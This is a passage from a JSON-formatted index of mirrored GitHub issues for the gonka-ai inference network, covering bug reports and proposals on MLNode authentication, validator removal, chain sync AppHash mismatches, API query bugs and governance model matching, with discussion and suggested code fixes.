"}, {"location": "community/issues/00409-switch-participant-invalidation-to-sprt/", "title": "#409 — Switch participant invalidation to SPRT", "text": "Switch participant invalidation to SPRT #409 Closed @tcharchian opened 2025-10-30 17:02 UTC 1 comment Updated 2026-01-29 06:04 UTC(empty)
"}, {"location": "community/issues/00409-switch-participant-invalidation-to-sprt/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-01-29 06:04 UTChttps://github.com/gonka-ai/gonka/pull/407
🔄 Auto-synced from Issue #409 every hour.
"}, {"location": "community/issues/00410-explore-sprt-for-missed-inferences/", "title": "#410 — Explore SPRT for missed inferences", "text": "Explore SPRT for missed inferences #410 Closed @tcharchian opened 2025-10-30 17:03 UTC 1 comment Updated 2026-01-29 06:04 UTC(empty)
"}, {"location": "community/issues/00410-explore-sprt-for-missed-inferences/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-01-29 06:04 UTChttps://github.com/gonka-ai/gonka/pull/407
🔄 Auto-synced from Issue #410 every hour.
"}, {"location": "community/issues/00412-p2-mlnode-token-based-authentication-and-fqdn-support/", "title": "#412 — [P2] MLNode Token-Based Authentication and FQDN Support", "text": "[P2] MLNode Token-Based Authentication and FQDN Support #412 Open @gmorgachev opened 2025-10-31 07:50 UTC 6 comments Updated 2026-06-27 20:42 UTC Priority: Low"}, {"location": "community/issues/00412-p2-mlnode-token-based-authentication-and-fqdn-support/#goal-problem", "title": "Goal / Problem", "text": "Current MLNode registration in the API service requires three static parameters: - Static IP address - PoC port (management API, default 8080) - Inference port (vLLM inference API, default 5000)
Both ports serve the same MLNode container through nginx proxy for version management (see deploy/join/docker-compose.mlnode.yml and deploy/join/nginx.conf).
Problems: - Some cloud providers (e.g., Aliyun EAS) assign new IPs on container recreation, making static IP registration impractical - Managing two ports adds operational complexity - Cloud providers often assign stable FQDNs with token-based authentication (e.g., http://<some-id>.ap-southeast-1.pai-eas.aliyuncs.com/api/predict/eas02/) that remain consistent across deployments - Current registration doesn't support using authentication tokens that managed services provide for access control
Note: Segment fields (InferenceSegment, PoCSegment) are legacy parameters that are always empty in current deployments.
"}, {"location": "community/issues/00412-p2-mlnode-token-based-authentication-and-fqdn-support/#proposal", "title": "Proposal", "text": "Support additional registration method using full URLs:
The system will support both registration methods, allowing users to choose between IP/port configuration or baseURL-based registration
"}, {"location": "community/issues/00412-p2-mlnode-token-based-authentication-and-fqdn-support/#implementation", "title": "Implementation", "text": ""}, {"location": "community/issues/00412-p2-mlnode-token-based-authentication-and-fqdn-support/#single-port-operation", "title": "Single-Port Operation", "text": "Current state (see deploy/join/nginx.conf for nginx setup and mlnode/packages/api/src/api/proxy.py for internal routing logic):
Management API (port 8080) supports: - http://<host>:<poc_port>/api/v1/* - management API endpoints - http://<host>:<poc_port>/v1/* - proxies to vLLM endpoints - http://<host>:<poc_port>/readyz - ready for inference - http://<host>:<poc_port>/health - whole service health, not only inference
Inference API (port 5000, backward compatible) supports: - http://<host>:<inference_port>/v1/* - proxies to vLLM endpoints - http://<host>:<inference_port>/health - vLLM health check (proxied from vLLM backend)
<poc_port>/health checks whole service health while <inference_port>/health checks only vLLM backend health. API node currently checks MLNode health via client.InferenceHealth() at http://<host>:<inference_port>/health. New API binary must support both old MLNodes (port 5000) and new single-port configuration.
Use registration method to determine which health endpoint to check: - Legacy registration (Host/Port/Segment): Check http://<host>:<inference_port>/health - New registration (baseURL): Check <baseURL>/readyz (management API readiness endpoint on port 8080)
Current structure (decentralized-api/apiconfig/config.go):
type InferenceNodeConfig struct {\n Host string\n InferenceSegment string\n InferencePort int\n PoCSegment string\n PoCPort int\n // ... other fields\n}\nProposed structure for InferenceNodeConfig and broker.Node:
type InferenceNodeConfig struct {\n // Existing fields (preserved for backward compatibility)\n Host string\n InferenceSegment string // Legacy, always empty\n InferencePort int\n PoCSegment string // Legacy, always empty\n PoCPort int\n\n // New optional fields (SQLite only, not stored on-chain)\n BaseURL string // Optional: full URL to MLNode (e.g., \"http://service.provider.com/path/\")\n AuthToken string // Optional: bearer token for authentication\n\n // ... other fields\n}\n\ntype Node struct {\n // Existing fields\n Host string\n InferenceSegment string\n InferencePort int\n PoCSegment string\n PoCPort int\n\n // New optional fields\n BaseURL string\n AuthToken string\n\n // ... other fields\n}\nURL construction uses baseURL when present, otherwise falls back to http://<host>:<port>/<segment>. Version insertion for rolling upgrades works identically for both approaches: <baseURL>/<version>/<path> or http://<host>:<port>/<version>/<path>.
baseURL and AuthToken are stored in local SQLite database only, not on-chain. This allows each API node to configure its own MLNode access methods independently.
Required changes:
base_url and auth_token columns to SQLite schema with empty defaults for automatic migrationbroker.Node.InferenceUrlWithVersion() and broker.Node.PoCUrlWithVersion() in broker/broker.go (main methods used for all inference and management calls including /v1/chat/completions)mlnode_background_manager.go setup_report.go for consistencyAuthorization: Bearer <token> header to all MLNode requests when AuthToken is setmake local-buildmake build-docker && ./local-test-net/stop.sh && make run-testsHi @gmorgachev , I have two questions: New registration (baseURL): Check /readyz (management API readiness endpoint on port 8080): Is it means in the new registration: the /readyz interface will be used , not using http://:/health any more? And the single-port operation only need to modify this place when checking MLNode health ?
Validate registration: require either (Host+Ports) OR baseURL, not both. baseURL must be valid HTTP(S) URL. AuthToken is always optional. : Where to do this and do we have a validate method already existed to validate the baseURL?
Thanks
@tcharchian commented 2026-02-04 23:26 UTC@DimaOrekhovPS did the initial review, but now @DimaOrekhovPS is waiting for @Pegasus-starry to resolve conflicts with the current gonka version
@tcharchian commented 2026-03-21 00:56 UTCHey @jacky6block @x0152 @akup! It would be great if you could sync on the next steps for this pull request and make the needed decisions together. If you are able to move it forward on your own, it could potentially be included in v0.2.12. But overall, this is a nice-to-have rather than something critical.
@akup commented 2026-03-23 06:15 UTCAll this protections are nice to have. But I want it to be aligned with other features and moving PoC v2 APIs to the repo from vLLM repo.
Need some time to have a big picture in my head
@bonujel commented 2026-06-23 07:47 UTCHi @tcharchian, I'm picking this up and continuing the issue, and currently working on it. (draft pr #1359, blocked by #1296 ) The new work centralizes MLNode addressing + auth in one place instead of spreading BaseURL/AuthToken across every call site (the #717 approach), and folds in the review feedback.
It's coupled with the Onboarding changes in #1296, so the new PR #1296 is draft and will be opened once 1296 is approved. Thanks to everyone for the earlier work and review here.
@tcharchian commented 2026-06-27 20:42 UTCHi @bonujel, thanks, I see. @DimaOrekhovPS @x0152 are working on v0.2.14 and v0.2.15 and will review https://github.com/gonka-ai/gonka/pull/1296 shortly
🔄 Auto-synced from Issue #412 every hour.
"}, {"location": "community/issues/00415-caching-of-node-configjson/", "title": "#415 — Caching of node-config.json", "text": "Caching of node-config.json #415 Closed @DePunk-eth opened 2025-11-01 18:06 UTC 1 comment Updated 2025-11-17 19:41 UTCgonka.db of dapi has priority over node-config.json and keep first settings of node.
"}, {"location": "community/issues/00415-caching-of-node-configjson/#comments-1", "title": "💬 Comments (1)", "text": "@joesun1983 commented 2025-11-07 09:01 UTCtry to use the admin api /admin/v1/nodes to update node config
🔄 Auto-synced from Issue #415 every hour.
"}, {"location": "community/issues/00419-new-issue-request-access-to-inference-image/", "title": "#419 — New Issue → Request Access to Inference Image", "text": "New Issue → Request Access to Inference Image #419 Closed @rumirzayev-max opened 2025-11-06 12:53 UTC 1 comment Updated 2025-11-17 21:52 UTCHi, I need access to the GHCR image to run inferenced nodes.
My GitHub username: rumirzayev-max
Please add me to the gonka-ai organization and grant \"read\" access to: ghcr.io/gonka-ai/inferenced
Thanks!
"}, {"location": "community/issues/00419-new-issue-request-access-to-inference-image/#comments-1", "title": "💬 Comments (1)", "text": "@DimaOrekhovPS commented 2025-11-17 21:00 UTCThe images are public for everyone. One possible cause for failing to pull an image is using stale GH credentials, try using docker logout ghcr.io to clear the credentials, then login again with docker login ghcr.io and retry
🔄 Auto-synced from Issue #419 every hour.
"}, {"location": "community/issues/00421-validators-are-marked-for-removal-but-havent-removed/", "title": "#421 — Validators are marked for removal but haven't removed", "text": "Validators are marked for removal but haven't removed #421 Open @gmorgachev opened 2025-11-07 22:56 UTC 3 comments Updated 2026-02-12 15:25 UTC bug up-for-grabsValidators are marked for removal but haven't removed. Happens in cosmos-sdk
7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1p5zz3d87hy5gn5jphhnljkv7pg06xj6gaa7g6p status=BOND_STATUS_UNBONDED\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1rqpallfz6y9nukjhyvcv27zwtjptxph0qtvsjf status=BOND_STATUS_UNBONDING\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1rk4ftnqp2pehy0scq3nl3d7nwe0ssq32jpyn9f status=BOND_STATUS_UNBONDING\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1pu7kmkx300rj02z7tjffhkdtnas7cdcymcgzqm status=BOND_STATUS_UNBONDING\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1yqamx9y94xnytgp9dzped2av7th6r8a57r56ls status=BOND_STATUS_UNBONDING\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1d22n3vhrslellmxecscr49m0wtv6fva4gavcya status=BOND_STATUS_UNBONDING\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1lzwf6hx5qlct2dx5szj4yrqappxjfzh0eft38s status=BOND_STATUS_UNBONDING\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1x7zh2277spp7jfqjhv0g5mnezg290xdrfkswym status=BOND_STATUS_UNBONDING\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1ap0lnyema9tt9mld8zgf6kl0ptqj8z5g5mh3ec status=BOND_STATUS_UNBONDING\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper18lluv53n4h9z34qu20vxcvypgdkhsg6n02fcaq status=BOND_STATUS_UNBONDING\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1jjm60sezst40nmtmj6l0cj0evax7lyg8lhv023 status=BOND_STATUS_UNBONDING\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1sqwpuxkspyp483l64knd5rp6qp56ymj4s6f6sh status=BOND_STATUS_UNBONDING\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1ygv9tv8fthcd43xeehfwagvrud66w9lvt9u3cg status=BOND_STATUS_UNBONDING\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1lf8zrnapty4nny6l9dr66nd7xc4j4ktrxrd4qs status=BOND_STATUS_UNBONDING\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper1pzuq9ygxfrcp5e6qdzu2py5qgcw5gqvd978vcx status=BOND_STATUS_BONDED\n7:48AM INF marking validator for removal (not in compute results) jailed=false module=x/staking operator=gonkavaloper16rt63h7ens8dvnf5nhl7yxtkkw7pc7q0ux6ckt status=BOND_STATUS_UNBONDING\n7:48AM INF marking validator for removal (not in compute results) jailed=true module=x/staking operator=gonkavaloper1ux4gjvk07z6utgjqs3ttwk9lzr4cn7y0k295rn status=BOND_STATUS_UNBONDING\nHappens here: https://github.com/gonka-ai/cosmos-sdk/blob/1ace5dd25d1a78f6b189cbdfec9b76839fe45a20/x/staking/keeper/compute.go#L166
"}, {"location": "community/issues/00421-validators-are-marked-for-removal-but-havent-removed/#comments-3", "title": "💬 Comments (3)", "text": "@tcharchian commented 2026-01-28 22:19 UTCNeeds to be rechecked
@AlexeySamosadov commented 2026-02-08 15:16 UTCPR: https://github.com/gonka-ai/gonka/pull/720
@AlexeySamosadov commented 2026-02-12 15:25 UTCI already have a PR for this: #720 — it implements validator removal cleanup hooks. Would appreciate a review when you get a chance.
🔄 Auto-synced from Issue #421 every hour.
"}, {"location": "community/issues/00422-dapi-nil-pointer-dereference-crash-when-chain-rpc-is-unavail/", "title": "#422 — DAPI nil pointer dereference crash when chain RPC is unavailable", "text": "DAPI nil pointer dereference crash when chain RPC is unavailable #422 Closed @mfursov opened 2025-11-10 02:37 UTC 2 comments Updated 2026-02-10 03:59 UTCProblem: DAPI crashes when chain node RPC becomes temporarily unavailable (I/O errors, restarts, network issues)
Root Cause: Missing return statement after error in tryClaimingTaskToAssign() function
** Timeline: **
00:06:26 - Chain node I/O error (trigger)\n CONSENSUS FAILURE: error writing batch to DB\n \"sync /workspace/gonka-data/chain/data/blockstore.db/002855.log:\n input/output error\"\n\n Chain RPC temporarily stops responding to connections\n\n00:06:26 - DAPI attempts to query chain status\n ERROR: [training-task-assigner] Failed to query chain status\n err=\"post failed: Post \\\"http://localhost:26657\\\": EOF\"\n\n Function logs error but CONTINUES EXECUTION (BUG!)\n\n00:06:26 - Nil pointer dereference\n panic: runtime error: invalid memory address or nil pointer dereference\n [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x3edaae2]\nFix:
func (a *Assigner) tryClaimingTaskToAssign() {\n chainStatus, err := a.tendermintClient.Status()\n if err != nil {\n slog.Error(logTag+\"Failed to query chain status\", \"err\", err)\n return // <=============================== This is the fix =============================== \n }\nFixed in PR #639 - added missing return statement after error to prevent nil pointer dereference.
@mtvnastya commented 2026-02-10 03:59 UTChi @mfursov, I'd like to propose a bounty for reporting this issue and proposing a fix. reached out to you via email
🔄 Auto-synced from Issue #422 every hour.
"}, {"location": "community/issues/00424-privacy-and-reliability-ip-layer-denials-tls-termination-on-/", "title": "#424 — Privacy and Reliability: IP-layer denials, TLS termination, on-chain prompt exposure, and faster mitigation of unreliable hosts", "text": "Privacy and Reliability: IP-layer denials, TLS termination, on-chain prompt exposure, and faster mitigation of unreliable hosts #424 Open @vvv-tech opened 2025-11-10 12:43 UTC 0 comments Updated 2025-11-10 12:43 UTC🔄 Auto-synced from Issue #424 every hour.
"}, {"location": "community/issues/00424-privacy-and-reliability-ip-layer-denials-tls-termination-on-/#summary", "title": "Summary", "text": "OriginalPrompt in MsgStartInference/MsgFinishInference.OriginalPrompt; store only PromptHash/commitment. If needed, support optional encrypted payload (hybrid encryption with requester pubkey) and off-chain reveal.Logging and retention: default to body redaction; explicit config gates for sampling.
Reliability and incentives
OriginalPrompt by default; keep only PromptHash. Optionally allow encrypted payload.Status reference - Reliability hardening and faster node health reaction: PR #408. - Invalidation/exclusion, SPRT-based status, slashing dedupe: PR #407.
"}, {"location": "community/issues/00428-node-management/", "title": "#428 — Node management", "text": "Node management #428 Closed @tcharchian opened 2025-11-12 17:37 UTC 1 comment Updated 2026-03-12 23:39 UTC@DimaOrekhovPS
🔄 Auto-synced from Issue #428 every hour.
"}, {"location": "community/issues/00429-cleaning-nats/", "title": "#429 — Cleaning nats", "text": "Cleaning nats #429 Closed @tcharchian opened 2025-11-12 19:08 UTC 0 comments Updated 2026-01-15 22:19 UTCProblem with .nats queue being quite big
root@CL-Gonka1-NetNode:~/gonka/deploy/join# du -d1 -h .dapi/.nats\n3.6G .dapi/.nats/jetstream\n3.6G .dapi/.nats\nAdd some cleaning, maybe find a way to clean manually
🔄 Auto-synced from Issue #429 every hour.
"}, {"location": "community/issues/00431-inferenced024-contains-outdated-hard-coded-genesis-apphash-m/", "title": "#431 — inferenced:0.2.4 contains outdated hard-coded genesis → AppHash mismatch prevents all nodes from syncing", "text": "inferenced:0.2.4 contains outdated hard-coded genesis → AppHash mismatch prevents all nodes from syncing #431 Closed @Asplana92 opened 2025-11-13 20:39 UTC 6 comments Updated 2025-11-15 22:57 UTC🚨 TL;DR / Summary
The Docker image ghcr.io/product-science/inferenced:0.2.4 contains a hard-coded outdated genesis, causing a permanent AppHash mismatch with the live chain. Nodes discover peers, establish MConnection links, but instantly drop all peers due to AppHash validation errors. StateSync and BlockSync do not work → MLNode pipeline never starts.
This prevents any new operator from joining the network.
🐞 Bug: Outdated hard-coded genesis inside inferenced:0.2.4 → AppHash mismatch prevents sync
Affected Containers (from my test environment)
Node (Chain Node / inferenced): d1720fd3ae413 API: 15d1c336e0fc Proxy: 2543bb1b2940a
🔍 Problem Description
Even when providing a fresh genesis.json from the repository or a working seed node, the Chain Node ignores it and uses a baked-in internal genesis.
This results in:
❌ AppHash mismatch ❌ All peers dropped instantly ❌ StateSync never starts ❌ BlockSync never progresses ❌ MLNode stage never begins
Expected AppHash (from baked-in Docker genesis) 91B9DFB33D5CA4E2A9E18755129512000BDBB6B8B3A458BF02EACB32819EC3FDF
Actual network AppHash (current chain) 9A3FAFD33F4694FD906B41860C6DA3EA1D5DABF6F6ACB5B8E56CFABBDD8384E13
📜 Logs (AppHash mismatch loop)
ERR error in validation err=\"wrong Block.Header.AppHash. Expected 91B9DFB33D5CA4E2A9E18755129512000BDBB6B8B3A458BF02EACB32819EC3FDF, got 9A3FAFD33F4694FD906B41860C6DA3EA1D5DABF6F6ACB5B8E56CFABBDD8384E13\" module=blocksync
🌱 Additional Issues Identified
A. Light Client expiration Logs show: old header has expired at 2025-08-29
Meaning:
StateSync cannot work at all
trusting period is far in the past
even custom trust_period / trust_height do not help
Light Client rejects all snapshots
B. PEX fails silently PEX keeps printing: We need more addresses. Sending pexRequest...
But: node drops all peers immediately due to AppHash mismatch PEX never receives valid peer lists node loops forever
Although MLNode was not deployed in this test, the Chain Node crashes before MLNode can participate.
Consequences:
Chain Node never reaches a stable height\n API → InferenceD → MLNode pipeline cannot form\n MLNode is unreachable because the base chain never becomes operational\nThis is important for debugging distributed execution.
🔁 Reproduction Steps
🧠 Diagnosis
Root cause:
→ The Docker image inferenced:0.2.4 contains an internal outdated genesis.
Therefore:
The node always expects the old AppHash Ignores external genesis.json Rejects all real network blocks Drops all peers Fails StateSync Fails BlockSync Never reaches MLNode stage
✅ Suggested Fix
🛠 Suggested PR Enhancement
Automatic fallback when trusting period has expired.
Logic:
If: server_time > trusting_period_end
Then:
disable StateSync
print warning: State Sync disabled — trusting period expired. Network likely requires new genesis or upgrade.
fall back to BlockSync
This improves UX and avoids silent failure loops.
🧪 Environment (for reproducibility)
Hetzner VPS, Ubuntu 24.04, 8GB RAM Docker 27.x Compose v2.29 All ports validated Peers reachable & responsive
🙌 Thank you! Happy to test patched builds, provide logs, configs, or help verify new images.
"}, {"location": "community/issues/00431-inferenced024-contains-outdated-hard-coded-genesis-apphash-m/#comments-6", "title": "💬 Comments (6)", "text": "@gmorgachev commented 2025-11-14 01:08 UTCHello! To reproduce from block 1 (assuming that from the message in discord that your node stucked at height=1) you need to start with initial release and apply all upgrades and patches starting v0.2.0:
https://github.com/gonka-ai/gonka/releases/tag/release%2Fv0.2.0\nVersion v0.2.4 can be used to load from snapshot's after v0.2.4. Successfully reproduced from genesis.json in repo:
genesis-reproduce.log genesis-reproduce.md
> sha256sum genesis.json\n47ab596779fce181882bfcc62c7588947a76ac9d0f49d87cb3a6336ae59ff210 genesis.json\nHi Gleb, thanks for the detailed explanation!
I understand — to reproduce the block-1 issue, I need to start from the initial version and apply all updates incrementally starting from v0.2.0.
Here is some additional info from my side:
✅ My setup
Fresh server (Hetzner, Ubuntu 22.04)
Docker 27.3.1
I followed the current official instructions in deploy/join
The genesis I used was taken directly from the repository: https://raw.githubusercontent.com/gonka-ai/gonka/refs/heads/main/genesis/genesis.json
❗️Observed mismatch
Even with the official genesis.json, I consistently get:
Image expects AppHash: 91B9DFB33D5CA24E9187551295120008BDBB6B8B3A458BF02EACB32B19EC3FDF
Network reports AppHash: 9A3FAFD33F4694FD906B41860C6D3AE1DA5DA8F6F6A8C58BE56CFABBD8384E13
The node discovers peers, RPC works, but it gets stuck at height 1 with a permanent AppHash mismatch.
📎 My genesis file (from repo)
Gist link: https://gist.github.com/Asplana92/f35e0b7cf7cf0c4c50ef0644fea3e4e6
Let me know if you need:
my full docker logs
the exact steps I followed
or if you want me to test with version v0.2.0
Happy to help reproduce and debug this! 🙌
@Asplana92 commented 2025-11-14 02:32 UTCI understand that v0.2.4 requires either: - A) Starting from v0.2.0 and upgrading through all versions - B) Using a snapshot created after v0.2.4
My situation: ✅ Genesis hash is correct: 47ab596779fce181882bfcc62c7588947a76ac9d0f49d87cb3a6336ae59ff210 ✅ 10 peers connected ❌ Node stuck at height 0 with State Sync enabled (continuously discovering snapshots)
Questions: 1. Is there an official snapshot URL I can download for v0.2.4? 2. If I disable State Sync, will v0.2.4 work for syncing from block 1, or do I MUST upgrade from v0.2.0?
Your reproduction succeeded with genesis.json - did you disable State Sync or use a snapshot?
My preference: Use snapshot (Option B) if available, as it's faster for new deployments.
Thank you for your help! 🚀
@Asplana92 commented 2025-11-14 03:19 UTC@glebmorgachev, Thank you for confirming the upgrade path from v0.2.0!
Before I start the full sync process from v0.2.0, I have one important question:
Do you have an official snapshot for v0.2.4?
You mentioned that “v0.2.4 can be used to load from snapshots created after v0.2.4.” If such a snapshot exists, could you please share:
📥 Download URL
📊 Snapshot height
📝 Any restoration instructions
This will significantly help new node operators get started without needing multi-week sync from block 1.
If no snapshot is available yet, I’ll proceed with the full upgrade path.
Thank you very much!
@gmorgachev commented 2025-11-14 11:00 UTCdocker compose files in main branch reference pre-build docker containers https://github.com/gonka-ai/gonka/blob/main/deploy/join/docker-compose.yml
The same ones can be built from main branch
The quickstart instruction deploys from snapshot automatically until not disabled explicitly
@Asplana92 commented 2025-11-15 22:57 UTCGreat news — the issue is fully resolved! 🎉 Everything works perfectly now. Thank you so much for the quick help and support!
I’ll wait for the new epoch to start so I can connect again. Closing the issue — thanks once again! 🚀
🔄 Auto-synced from Issue #431 every hour.
"}, {"location": "community/issues/00435-bug-report-api-container-sends-abci-query-with-height-0-desp/", "title": "#435 — Bug Report: api container sends abci_query with height: 0 despite being synced", "text": "Bug Report: api container sends abci_query with height: 0 despite being synced #435 Open @VaniaHilkovets opened 2025-11-14 12:45 UTC 1 comment Updated 2026-02-08 14:14 UTCBug Report: api container sends abci_query with height: 0 despite being synced Title: api container sends abci_query for EpochInfo with \"height\":\"0\", causing requests to /v1/epochs/current/participants to fail.
Description: Hello, I am running a node following the official deployment guide. My node container is fully synced with the mainnet. However, the api container is unable to correctly fetch epoch information, because it sends RPC requests to the node with height: 0, even though it knows the correct current height.
Environment:
Deployment: Docker Compose (docker-compose.yml and docker-compose.mlnode.yml)
Server: Ubuntu 22.04
Images: Using default/latest tags as per the official guide.
Steps to Reproduce:
Set up the node according to the join deployment guide.
Wait for the node container to fully sync (catching_up: false).
Observe the api container logs. It correctly logs the current block height on new blocks.
Make a GET request to the api endpoint: http://81.27.97.154
log.txt
:8000/v1/epochs/current/participants.
Expected Result: The API should return a JSON object with the current epoch participants, as described in the documentation.
Actual Result: The API returns a JSON error: json
Root Cause Analysis & Proof:
I have performed a tcpdump on the internal Docker network to trace the communication between the api container (172.18.0.7) and the node container (172.18.0.6).
1. The api container CORRECTLY gets the sync status: The api container sends a status request and receives a correct response with the current height.
api: {\"jsonrpc\":\"2.0\", \"id\":0, \"method\":\"status\", \"params\":{}}\nnode: ```json {\"jsonrpc\":\"2.0\", \"id\":0, \"result\":{ ... \"sync_info\":{\"latest_block_height\":\"1287647\", ... \"catching_up\":false}, ... }}2. The api container INCORRECTLY queries for epoch info: Immediately after, when processing the external request, the api container sends an abci_query but erroneously uses \"height\":\"0\" in the parameters.
api: json {\"jsonrpc\":\"2.0\", \"id\":333, \"method\":\"abci_query\", \"params\":{\"data\":\"\", \"height\":\"0\", \"path\":\"/inference.inference.Query/EpochInfo\", \"prove\":false}} ```This proves that the api container is aware of the correct block height but fails to use it in subsequent critical queries, causing the failure. This appears to be a bug within the api client itself.
Could you please advise on which version/tag of the gonka/api image is stable and does not have this bug? Or is there a known workaround?
Thank you.
*
"}, {"location": "community/issues/00435-bug-report-api-container-sends-abci-query-with-height-0-desp/#comments-1", "title": "💬 Comments (1)", "text": "@AlexeySamosadov commented 2026-02-08 14:14 UTCPR created: https://github.com/gonka-ai/gonka/pull/681
Uses current block height for ABCI queries.
🔄 Auto-synced from Issue #435 every hour.
"}, {"location": "community/issues/00438-bug-incorrect-governance-model-matching-causes-registration-/", "title": "#438 — 🐛 Bug: Incorrect Governance Model Matching Causes Registration Failures", "text": "🐛 Bug: Incorrect Governance Model Matching Causes Registration Failures #438 Closed @Asplana92 opened 2025-11-15 23:53 UTC 2 comments Updated 2026-04-28 20:48 UTC"}, {"location": "community/issues/00438-bug-incorrect-governance-model-matching-causes-registration-/#bug-report-incorrect-governance-model-matching-in-api", "title": "🐛 Bug Report: Incorrect Governance Model Matching in API", "text": "Severity: Medium Category: Bug Discovery + Improvement Proposal Bounty Program: Yes (Discord Announcement) Reporter: @Asplana92 Date Discovered: November 15, 2025 Block Height: ~1,304,000 - 1,305,300
"}, {"location": "community/issues/00438-bug-incorrect-governance-model-matching-causes-registration-/#tldr-summary", "title": "🎯 TL;DR / Summary", "text": "The API uses prefix-matching instead of exact-matching when searching for governance models, causing name collisions and blocking hardware registration.
Impact: - ❌ Prevents hardware registration when model names overlap - ⏱️ ~2 hours debugging time per affected operator - 🔄 100% reproducible - 📊 Affects any host using models with similar prefixes
"}, {"location": "community/issues/00438-bug-incorrect-governance-model-matching-causes-registration-/#problem-description", "title": "🔍 Problem Description", "text": ""}, {"location": "community/issues/00438-bug-incorrect-governance-model-matching-causes-registration-/#current-behavior-incorrect", "title": "Current Behavior (Incorrect)", "text": "When registering hardware, the API searches for governance models using substring/prefix matching instead of exact model ID comparison.
Example collision:
User's node-config.json:\n{\n \"models\": {\n \"Qwen/Qwen2.5-7B-Instruct\": {\"args\": []}\n }\n}\n\nAPI logic:\n1. Searches for \"Qwen/Qwen2.5-7B-Instruct\" in governance models\n2. Finds \"RedHatAI/Qwen2.5-7B-Instruct-quantized.w8a16\" \n (contains substring \"Qwen2.5-7B-Instruct\")\n3. Uses WRONG model ID: \"RedHatAI/Qwen2.5-7B-Instruct-quantized.w8a16\"\n4. Tries to register hardware with this model\n5. ❌ ERROR: \"Failed to get governance models: model not found\"\nThe API should use exact model ID matching:
// CORRECT approach\nfunction findGovernanceModel(modelId, governanceModels) {\n const exactMatch = governanceModels.find(m => m.id === modelId)\n\n if (!exactMatch) {\n const available = governanceModels.map(m => m.id).join('\\n - ')\n throw new Error(\n `Model '${modelId}' not found in governance.\\n` +\n `Available models:\\n - ${available}`\n )\n }\n\n return exactMatch\n}\n2025/11/15 16:21:34 INFO RegisterNode. Governance model \n model_id=RedHatAI/Qwen2.5-7B-Instruct-quantized.w8a16\n\n2025/11/15 16:22:50 ERROR Failed to get governance models: \n model not found for RedHatAI/Qwen2.5-7B-Instruct-quantized.w8a16\nWhat happened: 1. ✅ User configured Qwen/Qwen2.5-7B-Instruct 2. ❌ API found RedHatAI/Qwen2.5-7B-Instruct-quantized.w8a16 (prefix match) 3. ❌ Tried to register with wrong model ID 4. ❌ Registration failed
Qwen/Qwen2.5-7B-InstructRedHatAI/Qwen2.5-7B-Instruct-quantized.w8a16Configure node with specific model:
cat > node-config.json << 'EOF'\n[{\n \"inference\": {\n \"type\": \"inference\",\n \"host\": \"inference\",\n \"port\": \"8085\",\n \"models\": {\n \"Qwen/Qwen2.5-7B-Instruct\": {\n \"args\": []\n }\n }\n }\n}]\nEOF\nStart API:
docker compose up api -d\nObserve error:
docker logs api | grep \"governance model\"\n# ERROR: model not found for RedHatAI/Qwen2.5-7B-Instruct-quantized.w8a16\nExpected: API should register Qwen/Qwen2.5-7B-Instruct Actual: API tries to register RedHatAI/Qwen2.5-7B-Instruct-quantized.w8a16
Base Model Collides With\n───────────────────── ──────────────────────────────────────────\nQwen/Qwen2.5-7B → RedHatAI/Qwen2.5-7B-Instruct-quantized\nLlama-3.1-8B → Llama-3.1-8B-Instruct-Turbo\nMistral-7B → Mistral-7B-Instruct-v0.3\n/**\n * Find governance model by exact ID match\n * @param {string} modelId - Model ID from node-config.json\n * @param {Array} governanceModels - Models from blockchain\n * @returns {Object} Matched governance model\n * @throws {Error} If model not found or multiple matches\n */\nfunction findGovernanceModel(modelId, governanceModels) {\n // EXACT match only\n const exactMatch = governanceModels.find(m => m.id === modelId)\n\n if (exactMatch) {\n return exactMatch\n }\n\n // Helpful error message with available models\n const available = governanceModels\n .map(m => ` - ${m.id}`)\n .join('\\n')\n\n throw new Error(\n `Governance model '${modelId}' not found.\\n\\n` +\n `Available models:\\n${available}\\n\\n` +\n `Please use exact model ID from the list above.`\n )\n}\nBenefits: - ✅ Prevents name collisions - ✅ Clear error messages - ✅ Lists available models for easy copy-paste - ✅ Backward compatible (exact matches still work)
"}, {"location": "community/issues/00438-bug-incorrect-governance-model-matching-causes-registration-/#option-2-ambiguity-detection", "title": "Option 2: Ambiguity Detection", "text": "/**\n * Find governance model with collision detection\n */\nfunction findGovernanceModelSafe(modelId, governanceModels) {\n // Check for exact match first\n const exactMatch = governanceModels.find(m => m.id === modelId)\n if (exactMatch) {\n return exactMatch\n }\n\n // Check for prefix collisions\n const prefixMatches = governanceModels.filter(m => \n m.id.includes(modelId) || modelId.includes(m.id)\n )\n\n if (prefixMatches.length > 1) {\n throw new Error(\n `Ambiguous model ID '${modelId}'. Multiple matches found:\\n` +\n prefixMatches.map(m => ` - ${m.id}`).join('\\n') +\n `\\n\\nPlease use exact model ID.`\n )\n }\n\n if (prefixMatches.length === 1) {\n console.warn(\n `WARNING: Using prefix match for '${modelId}' → '${prefixMatches[0].id}'. ` +\n `Consider using exact model ID.`\n )\n return prefixMatches[0]\n }\n\n throw new Error(`Model '${modelId}' not found in governance.`)\n}\nBenefits: - ✅ Detects collisions explicitly - ✅ Backward compatible with fuzzy matching - ⚠️ More complex logic
